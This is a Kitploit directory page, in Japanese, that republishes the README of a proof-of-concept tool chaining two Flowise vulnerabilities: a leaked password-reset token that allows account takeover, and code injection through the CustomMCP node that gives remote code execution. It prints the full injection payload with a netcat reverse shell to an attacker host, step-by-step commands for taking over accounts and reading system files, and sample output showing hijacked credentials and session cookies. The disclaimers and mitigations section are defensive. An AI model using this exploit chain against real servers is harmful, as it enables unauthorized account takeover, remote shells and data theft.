Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-58434-AND-59528-POC — # CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。 | Kitploit
ツール/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育リモートアクセスツールペイロード開発
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

# CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。

リポジトリを見る
1925ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 教育目的および許可されたセキュリティ研究専用です。
このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法です。


目次

  • 概要
  • 脆弱性の詳細
    • CVE-2025-58434 — アカウント乗っ取り
    • CVE-2025-59528 — リモートコード実行
  • 完全な攻撃チェーン
  • 影響を受けるバージョン
  • リポジトリ構成
  • 要件
  • インストール
  • 使用方法
    • デフォルトの動作
ヘルプ画面
  • チェーンモード
  • モジュール — ATO
  • モジュール — ログイン
  • モジュール — RCE
  • フラグリファレンス
  • リバースシェル vs カスタムコマンド
  • 出力例
  • 対策
  • 開示のタイムライン
  • 参考文献
  • 免責事項

  • 概要

    このリポジトリは、Flowise における2つのクリティカルな脆弱性を、単一のモジュール式 PoC ツールに統合したものです。

    CVE-2025-58434CVE-2025-59528
    タイプアカウント乗っ取りリモートコード実行
    認証要求なしあり(有効なアカウント)
    CVSS9.8 CriticalCritical
    影響Cloud + セルフホストセルフホスト

    2つの脆弱性は自然に連鎖します。CVE-2025-58434 は認証なしのアカウント乗っ取りを提供し、これにより CVE-2025-59528 の認証要件を満たし、1回の自動実行で認証なしの RCE を達成します。


    脆弱性の詳細

    CVE-2025-58434 — アカウント乗っ取り

    根本原因: forgot-password エンドポイントが、パスワードリセットトークン(tempToken)をメール経由のみで送信する代わりに、HTTP レスポンスボディに直接返します。

    攻撃手順:

    1. 登録済みメールアドレスで POST /api/v1/account/forgot-password
    2. JSON レスポンスから tempToken を読み取る — メールアクセスは不要
    3. 漏洩したトークンを使用して POST /api/v1/account/reset-password → 新しいパスワードを設定
    4. 被害者としてログイン

    漏洩したレスポンス(一部抜粋):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — リモートコード実行

    根本原因: CustomMCP ノードは、ユーザーが提供した mcpServerConfig をサニタイズせずに JavaScript の Function() コンストラクタに直接渡します。Flowise は Node.js で動作するため、注入されたコードは child_process、fs、およびすべての Node.js 組み込み機能に完全にアクセスできます。

    脆弱なコードパス:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← サニタイズされていないユーザー入力
    

    必要なヘッダー:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    デフォルトのインジェクションペイロード(リバースシェル):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    注: リバースシェルペイロードは cp.exec()(非同期 / fire-and-forget)を使用するため、HTTP リクエストは即座に完了し、ツールがタイムアウトしません。通常のコマンドは cp.execSync() を使用し、インラインで出力を返します。


    完全な攻撃チェーン

    root@kitploit:~
    攻撃者                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← トークンがレスポンスで漏洩
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO 完了
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← クッキーを抽出
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() がバックグラウンドで起動]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       攻撃者の nc リスナー ←───────────────── サーバーが接続
       ✓  認証情報ゼロから完全な RCE
    

    影響を受けるバージョン

    コンポーネント状態
    Flowise Cloud (cloud.flowiseai.com)CVE-2025-58434 の影響あり
    Flowise セルフホスト(パッチ前の全バージョン)両方の CVE の影響あり

    パッチが適用されたリリース番号については、公式の Flowise セキュリティアドバイザリ を確認してください。


    リポジトリ構成

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # メイン PoC — 全モジュール + チェーンモード
    ├── requirements.txt    # Python 依存関係
    ├── README.md           # このファイル
    └── DISCLAIMER.md       # 完全な法的通知
    

    要件

    • Python 3.7+
    • requests ライブラリ

    インストール

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    使用方法

    デフォルトの動作

    モードフラグは不要です。 --chain や --module を指定せずにスクリプトを実行すると、自動的にフルチェーンモードで実行されます。デフォルトの RCE ペイロードはリバースシェルです。--lhost と --lport を指定してください。

    root@kitploit:~
    # 最小限の呼び出し — フルチェーン + リバースシェル
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    実行前にリスナーを起動してください:

    root@kitploit:~
    nc -lvnp 4444
    

    ヘルプ画面

    root@kitploit:~
    python3 flowise_poc.py -h
    

    チェーンモード

    トークン漏洩 → パスワードリセット → ログイン → RCE の4ステップをすべて実行します。

    root@kitploit:~
    # リバースシェル(デフォルトペイロード)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # リバースシェルの代わりにカスタムコマンド
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # カスタムATOパスワード + リバースシェル
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    モジュール — ATO

    tempToken を漏洩させ、アカウントのパスワードをリセットします。ログイン/RCE の前で停止します。

    root@kitploit:~
    # デフォルトの新しいパスワード
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # カスタムの新しいパスワード
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # 生のJSONレスポンスを表示
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    モジュール — ログイン

    認証を行い、手動使用のために3つのセッションクッキーを抽出します。

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # スクリプト用のJSON出力
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    モジュール — RCE

    サーバー上で実行します。--token が指定されていない場合は自動ログインします。

    root@kitploit:~
    # リバースシェル — 自動ログイン
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # カスタムコマンド — 自動ログイン
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # 手動トークン — リバースシェル
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # 3つすべてのクッキーを手動で指定
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    フラグリファレンス

    モード(すべてオプション — デフォルトは --chain)

    フラグ説明
    --chainフルチェーン: ATO → ログイン → RCE
    --module atoアカウント乗っ取りのみ
    --module loginログインとクッキー抽出のみ
    --module rceRCE のみ

    ターゲット

    フラグ短縮形説明必須
    --url-uFlowise インスタンスのベースURL常に
    --email-eターゲット / ログインメール常に

    ATO オプション

    フラグ短縮形説明デフォルト
    --new-password-pATO 後に被害者アカウントに設定するパスワードFlowise@Pwn3d2025!

    認証オプション

    フラグ短縮形説明
    --login-password-Pログインモジュール / RCE 自動ログイン用のパスワード
    --token—手動で token クッキーを指定(ログインをスキップ)
    --refresh-token—手動で refreshToken クッキーを指定
    --connect-sid—手動で connect.sid クッキーを指定

    RCE オプション

    フラグ短縮形説明デフォルト
    --lhost—リバースシェル用の攻撃者IP—
    --lport—リバースシェル用の攻撃者ポート—
    --command-cカスタムOSコマンド(revshell を上書き)id(lhost/lport なしの場合)

    その他

    フラグ短縮形説明デフォルト
    --timeout-tHTTP タイムアウト(秒)15
    --json-output-j生のJSONレスポンスを表示false

    リバースシェル vs カスタムコマンド

    スクリプトは自動的に適切な実行モードを選択します:

    シナリオ使用されるペイロードHTTP の動作
    --lhost + --lport(-c なし)mkfifo netcat ワンライナーcp.exec() — 非同期、即座に返る
    -c "..." に nc/mkfifo/bash -i が含まれるrevshell として検出cp.exec() — 非同期、即座に返る
    -c "id" またはその他の通常のコマンドユーザーコマンドcp.execSync() — ブロック、出力を返す
    -c なし、--lhost なしidcp.execSync() — ブロック、出力を返す

    非同期実行により、HTTP リクエストは瞬時に完了します。リバースシェルペイロードでタイムアウトエラーが発生することはありません。


    出力例

    root@kitploit:~
      [Step 1] [CVE-2025-58434] forgot-password トークンを要求中 ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        漏洩したアカウントデータ
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] 脆弱性あり — 認証なしでトークンが公開されました!
    
      [Step 2] [CVE-2025-58434] パスワードをリセット中 → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] パスワードリセット成功(tempToken クリア)
      [+] アカウント乗っ取り完了 → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] セッションクッキーを抽出するためにログイン ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        抽出されたセッションクッキー
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] CustomMCP 経由で RCE を実行中 ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE 結果
      ────────────────────────────────────────────────────────────────────
      モード    : リバースシェル
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] リバースシェルペイロードを発射しました!
      [!] 10.10.16.35:4444 への接続を待機中 ...
      [!] リスナーが実行中であることを確認してください: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] チェーン完了
    

    対策

    CVE-2025-58434 の場合

    • API レスポンスでトークンを返してはなりません。 tempToken は登録メールアドレスにのみ送信してください。
    • メールが存在するかどうかに関わらず、一般的な成功メッセージを返します(列挙を防ぐため)。
    • トークンを使い捨て、短時間有効(15分以内)、リクエストコンテキストに紐づけます。
    • forgot-password エンドポイントにレート制限を設けます。

    CVE-2025-59528 の場合

    • ユーザー入力を Function()、eval()、vm.runInThisContext() に渡してはなりません。
    • mcpServerConfig をデータのみ(例:JSON.parse())として解析し、決して実行しないでください。
    • 動的評価が必要な場合は、制限されたコンテキストを持つ隔離されたサンドボックスを使用してください。
    • 厳格な入力検証と、許可された設定キーのホワイトリストを適用します。

    全般

    • クラウドとセルフホストの両方のデプロイメントにパッチを適用します。
    • パスワードリセットおよび node-load-method エンドポイントに関するログと警告を有効にします。
    • すべての管理アカウントにMFAを検討します。

    開示のタイムライン

    日付イベント
    2025-08-19CVE-2025-58434 を発見し報告
    TBDCVE-2025-59528 を発見し報告
    TBDベンダーが確認
    TBDパッチリリース
    TBD公開開示

    参考文献

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: 脆弱なパスワード復旧メカニズム
    • CWE-94: コード生成の不適切な制御

    免責事項

    教育目的および許可されたペネトレーションテスト専用です。
    完全な法的通知については DISCLAIMER.md を参照してください。

    ツールをダウンロード